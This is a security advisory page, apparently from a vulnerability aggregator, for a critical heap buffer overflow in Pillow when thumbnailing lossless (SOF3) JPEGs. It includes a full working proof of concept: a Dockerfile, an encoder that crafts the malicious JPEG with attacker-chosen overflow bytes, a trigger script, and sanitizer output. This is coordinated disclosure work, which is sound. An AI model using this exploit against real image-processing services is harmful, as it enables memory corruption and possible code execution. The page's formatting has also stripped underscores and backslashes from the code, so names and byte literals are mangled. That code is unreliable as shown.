PT-2026-120305 · Pypi · Pillow

Publicado

2026-10-20

·

Atualizado

2026-10-20

CVSS v4.0

9.2

Crítica

VetorAV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Summary

JpegImageFile.draft() — which Image.thumbnail() calls automatically — requests 1/2, 1/4 or 1/8 scaled JPEG output and shrinks self. size and the tile extents to match, so setimage() allocates a single-row decode buffer of ceil(W/s) samples. ImagingJpegDecode() sets cinfo.scale num/scale denom, calls jpeg start decompress(), and then reads scanlines into that buffer without ever comparing cinfo.output width, cinfo.output height or cinfo.out color components against state->xsize, state->ysize and state->bits.
libjpeg-turbo 3.x decodes lossless (SOF3) JPEG, but hardwires lossless streams to no scaling — the requested scale denom is silently discarded. It therefore returns full-width W-sample rows into a buffer sized for ceil(W/s). Each jpeg read scanlines() call writes (W - ceil(W/s)) x components bytes past the end of the heap allocation, and the overflowing bytes are the decoded pixel values, which are byte-exact for an 8-bit grayscale lossless image.
The input is a standards-compliant JPEG, so Image.open(..., formats=["JPEG"]) does not prevent it. Pillow's Python SOF parser already accepts marker 0xFFC3 ("SOF3", "Spatial lossless") at 8-bit precision, so the file opens normally as a JPEG / mode L image at its full declared size.

Affected code

At e41083f383c9cd3db95de52564cc0b6452313d4a (main, 2026-08-29):
  • src/libImaging/JpegDecode.c:224-262 — ImagingJpegDecode(); jpeg start decompress() at :240, jpeg read scanlines() at :252, with no geometry check between them.
  • src/decode.c:222-231 — setimage(); state->buffer = calloc(1, state->bytes) with state->bytes = (state->bits * state->xsize + 7) / 8.
  • src/PIL/JpegImagePlugin.py:428-464 — JpegImageFile.draft(); computes s and shrinks size, the tile extents and decoderconfig with no notion of lossless coding.
  • src/PIL/JpegImagePlugin.py:271 — 0xFFC3: ("SOF3", "Spatial lossless", SOF).
c
// src/libImaging/JpegDecode.c
      if (context->scale > 1) {
        context->cinfo.scale num = 1;
        context->cinfo.scale denom = context->scale;
      }
      ...
    case 2:
      if (!jpeg start decompress(&context->cinfo)) {
        break;
      }
      state->state++;
      /* fall through */
    case 3:
      ok = 1;
      while (state->y < state->ysize) {
        ok = jpeg read scanlines(&context->cinfo, &state->buffer, 1);
Because state->ysize (ceil(H/s)) can never equal libjpeg's output height when s >= 2, the decode always ends in an error after the rows have already been written: the caller sees an exception and gets no pixels back. The OSError is a consequence of the overflow, not the issue being reported.

Primitive

Per scanline: a contiguous write of (W - ceil(W/s)) x c bytes immediately past a calloc(ceil(W/s) x c) block, where c = 1 for mode L and 4 for RGB (RGBX) and CMYK; repeated for ceil(H/s) rows over the same region. The buffer size class is chosen by the attacker through W, and for grayscale the overflowing content is an arbitrary attacker-chosen byte string.
Measured in the reproducer below: 1200x1100 mode L, s=2 — a 600-byte allocation, 600 bytes written past it, ASan reporting the whole 1200-byte row write as one memcpy.
Threshold: draft() must select s >= 2, i.e. W // requested w >= 2 and H // requested h >= 2. For thumbnail((256,256)) with the default reducing gap=2.0 that means W, H >= 1024.

Reproduction

Self-contained Docker reproducer (Ubuntu 24.04, clang 20, libjpeg-turbo 3.1.4 and Pillow both built from source with -fsanitize=address; Pillow checked out at ${TARGET COMMIT}, default e41083f383c9cd3db95de52564cc0b6452313d4a). Save the three files below as Dockerfile, make sof3.py and trigger.py in an empty directory, then:
bash
docker build -t pillow-sof3-oob . && docker run --rm pillow-sof3-oob
make sof3.py is a self-contained encoder that emits a standards-compliant 8-bit grayscale lossless-Huffman JPEG (SOI / DHT / SOF3 P=8, Y=1100, X=1200, Nf=1 / SOS Ss=1 predictor 1, Se=0, Ah=Al=0 / entropy-coded row differences / EOI), whose rows carry a repeating marker pattern. trigger.py opens it and calls thumbnail(), whose implicit draft() picks s=2 and allocates a 600-byte row buffer.

Dockerfile

dockerfile
FROM ubuntu:24.04
ENV DEBIAN FRONTEND=noninteractive
ARG TARGET COMMIT=e41083f383c9cd3db95de52564cc0b6452313d4a
ARG CLANG VERSION=20
ARG LIBJPEG TURBO TAG=3.1.4

RUN apt-get update && apt-get install -y --no-install-recommends 
    ca-certificates git make cmake nasm pkg-config libc6-dev gcc 
    wget gnupg lsb-release software-properties-common 
    python3 python3-dev python3-pip python3-venv zlib1g-dev 
  && wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANG VERSION} 
  && apt-get install -y --no-install-recommends clang-${CLANG VERSION} llvm-${CLANG VERSION} libclang-rt-${CLANG VERSION}-dev 
  && rm -rf /var/lib/apt/lists/*

ENV CC=clang-20
ENV CXX=clang++-20
ENV CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV CXXFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV LDFLAGS="-fsanitize=address"

# --- libjpeg-turbo 3.x (lossless SOF3 support) built with ASan ---
RUN git clone https://github.com/libjpeg-turbo/libjpeg-turbo /src/libjpeg-turbo
RUN cd /src/libjpeg-turbo && git checkout ${LIBJPEG TURBO TAG} 
  && cmake -B /build/ljt -S . -DCMAKE BUILD TYPE=None 
    -DCMAKE C COMPILER=clang-20 
    -DCMAKE C FLAGS="$CFLAGS" 
    -DCMAKE EXE LINKER FLAGS="$LDFLAGS" 
    -DCMAKE SHARED LINKER FLAGS="$LDFLAGS" 
    -DCMAKE INSTALL PREFIX=/opt/ljt -DWITH JPEG8=0 -DENABLE STATIC=0 
  && cmake --build /build/ljt -j"$(nproc)" && cmake --install /build/ljt

# --- Pillow at the pinned commit, built with ASan against that libjpeg ---
RUN git clone https://github.com/python-pillow/Pillow /src/repo
WORKDIR /src/repo
RUN git checkout ${TARGET COMMIT}

ENV JPEG ROOT=/opt/ljt
ENV LD LIBRARY PATH=/opt/ljt/lib
RUN python3 -m venv /venv 
  && /venv/bin/pip install --quiet --upgrade pip "setuptools>=80" wheel pybind11 
  && CFLAGS="$CFLAGS" LDFLAGS="$LDFLAGS -Wl,-rpath,/opt/ljt/lib" 
    /venv/bin/pip install --no-build-isolation --no-deps . 
  && ln -sf "$(clang-20 -print-file-name=libclang rt.asan-x86 64.so)" /opt/libasan.so 
  && LD PRELOAD=/opt/libasan.so ASAN OPTIONS=detect leaks=0 
    /venv/bin/python3 -c "from PIL import Image, features; print(Image. version , features.version('jpg'))"

COPY make sof3.py /tmp/make sof3.py
COPY trigger.py /tmp/trigger.py
RUN python3 /tmp/make sof3.py /tmp/sof3 gray 1200x1100.jpg

ENV ASAN OPTIONS=detect leaks=0:abort on error=1:symbolize=1
ENV ASAN SYMBOLIZER PATH=/usr/lib/llvm-20/bin/llvm-symbolizer
ENV LD PRELOAD=/opt/libasan.so
CMD ["/bin/sh","-c","cd /tmp && /venv/bin/python3 /tmp/trigger.py 2>&1; echo EXIT=$?"]

make sof3.py

python
#!/usr/bin/env python3
"""Generate an 8-bit grayscale lossless-Huffman (SOF3) JPEG.

Standards-compliant per ITU-T T.81 Annex H (lossless mode), predictor 1 (Ra).
Rows carry an attacker-chosen marker byte pattern verbatim (lossless => exact).
"""
import struct
import sys

W = 1200
H = 1100
MARKER = b"AAAABBBBCCCCDDDD" # attacker-chosen bytes that land past the buffer


class BitWriter:
  def  init (self):
    self.out = bytearray()
    self.acc = 0
    self.n = 0

  def put(self, value, nbits):
    for i in range(nbits - 1, -1, -1):
      self.acc = (self.acc << 1) | ((value >> i) & 1)
      self.n += 1
      if self.n == 8:
        self.out.append(self.acc)
        if self.acc == 0xFF:
          self.out.append(0x00) # byte stuffing
        self.acc = 0
        self.n = 0

  def flush(self):
    while self.n:
      self.put(1, 1)
    return bytes(self.out)


# Canonical Huffman: 17 symbols (categories 0..16), all of code length 5.
BITS = [0] * 17
BITS[5] = 17
HUFFVAL = list(range(17))
CODES = {sym: (i, 5) for i, sym in enumerate(HUFFVAL)}


def category(d):
  if d == 0:
    return 0
  return abs(d).bit length()


def build pixels():
  rows = []
  for y in range(H):
    row = bytearray()
    while len(row) < W:
      row += MARKER
    rows.append(bytes(row[:W]))
  return rows


def main(path):
  rows = build pixels()
  bw = BitWriter()
  prev = None
  for y in range(H):
    row = rows[y]
    for x in range(W):
      s = row[x]
      if y == 0 and x == 0:
        pred = 1 << 7     # 2^(P-1-Pt)
      elif x == 0:
        pred = prev[0]     # Rb for first sample of a line
      else:
        pred = row[x - 1]   # Ra, predictor 1
      d = (s - pred) & 0xFFFF
      if d >= 0x8000:
        d -= 0x10000
      ssss = category(d)
      code, length = CODES[ssss]
      bw.put(code, length)
      if ssss:
        v = d if d > 0 else d + (1 << ssss) - 1
        bw.put(v & ((1 << ssss) - 1), ssss)
    prev = row
  entropy = bw.flush()

  out = bytearray()
  out += b"xffxd8"                    # SOI
  # DHT: class 0 (DC/lossless), table id 0
  dht = bytes([0x00]) + bytes(BITS[1:17]) + bytes(HUFFVAL)
  out += b"xffxc4" + struct.pack(">H", len(dht) + 2) + dht
  # SOF3: lossless, Huffman, sequential
  sof = struct.pack(">BHHB", 8, H, W, 1) + bytes([1, 0x11, 0])
  out += b"xffxc3" + struct.pack(">H", len(sof) + 2) + sof
  # SOS: Ns=1, Cs=1, Td=0/Ta=0, Ss=1 (predictor 1), Se=0, Ah=0/Al=0
  sos = bytes([1, 1, 0x00, 1, 0, 0])
  out += b"xffxda" + struct.pack(">H", len(sos) + 2) + sos
  out += entropy
  out += b"xffxd9"                    # EOI
  with open(path, "wb") as f:
    f.write(bytes(out))
  print(f"wrote {path}: {len(out)} bytes, {W}x{H} 8-bit grayscale SOF3 lossless")


if  name  == " main ":
  main(sys.argv[1] if len(sys.argv) > 1 else "/tmp/sof3 gray 1200x1100.jpg")

trigger.py

python
import sys
from PIL import Image, features
print("Pillow", Image. version , "| libjpeg", features.version("jpg"), flush=True)
im = Image.open("/tmp/sof3 gray 1200x1100.jpg")
print("format=%s mode=%s size=%s" % (im.format, im.mode, im.size), flush=True)
print(">>> im.thumbnail((256, 256)) # draft() picks s=2 -> 600-byte row buffer", flush=True)
sys.stdout.flush()
try:
  im.thumbnail((256, 256))
  print("thumbnail returned, size=%s" % (im.size,), flush=True)
except Exception as e:
  print("exception: %r" % (e,), flush=True)
Validated output:
Pillow 13.0.0.dev0 | libjpeg 6.2
format=JPEG mode=L size=(1200, 1100)
>>> im.thumbnail((256, 256)) # draft() picks s=2 -> 600-byte row buffer
=================================================================
==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x74e4e904aad8 at pc 0x7784ea4f9422
WRITE of size 1200 at 0x74e4e904aad8 thread T0
  #0  asan memcpy
  #1 jcopy sample rows /src/libjpeg-turbo/src/wrapper/../jutils.c:121:5
  #2 sep upsample /src/libjpeg-turbo/src/wrapper/../jdsample.c:100:3
  #3 process data simple main /src/libjpeg-turbo/src/wrapper/../jdmainct.c:317:3
  #4 jpeg read scanlines /src/libjpeg-turbo/src/wrapper/../jdapistd.c:359:3
  #5 ImagingJpegDecode /src/repo/src/libImaging/JpegDecode.c:252:22
  #6 decode /src/repo/src/decode.c:132:14

0x74e4e904aad8 is located 0 bytes after 600-byte region [0x74e4e904a880,0x74e4e904aad8)
allocated by thread T0 here:
  #0 calloc
  #1 setimage /src/repo/src/decode.c:230:34

SUMMARY: AddressSanitizer: heap-buffer-overflow in  asan memcpy
Negative control, same image: a baseline DCT JPEG of identical dimensions thumbnails cleanly, because libjpeg honours 1/2 scaling exactly as draft() computed it.
control baseline DCT JPEG: JPEG L (1200, 1100)
thumbnail OK, size = (256, 235) -- no ASan report

Scope and caveats

  • Reproduced on main at e41083f383c9cd3db95de52564cc0b6452313d4a, which is current origin/main as of 2026-08-30. Also reported against 12.3.0.
  • Requires the linked libjpeg to support lossless decoding, i.e. libjpeg-turbo >= 3.0. That is what the official Pillow wheels bundle. Builds against libjpeg-turbo 2.x or IJG libjpeg reject SOF3 before any row is decoded and are not affected.
  • No non-default Pillow configuration is involved: Image.thumbnail() calls draft() by default, and the triggering bytes are entirely file data.
  • Only paths that use draft() before loading are affected. open().load() and resize() decode at scale 1 and are unaffected. Calling img.load() before thumbnail(), or thumbnail(..., reducing gap=None), avoids the path in an application today.
  • Not affected on the same code path: SOF11 (arithmetic lossless) fails with JERR ARITH NOTIMPL before any row; 12- and 16-bit lossless are rejected by Pillow's SOF() because it requires bits == 8; SOF5-7/13-15 fail with JERR SOF UNSUPPORTED.

Credit and disclosure

Found by Anthropic using Claude to study the security of open-source software, validated manually by Ada Logics.
This report follows Anthropic's coordinated vulnerability disclosure policy (https://www.anthropic.com/coordinated-vulnerability-disclosure), with a 90-day disclosure window from the date of this report.
Credit goes to Claude (Anthropic) and Ada Logics.

Correção

Heap Based Buffer Overflow

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

GHSA-8G5G-8VMR-9782

Produtos afetados

Pillow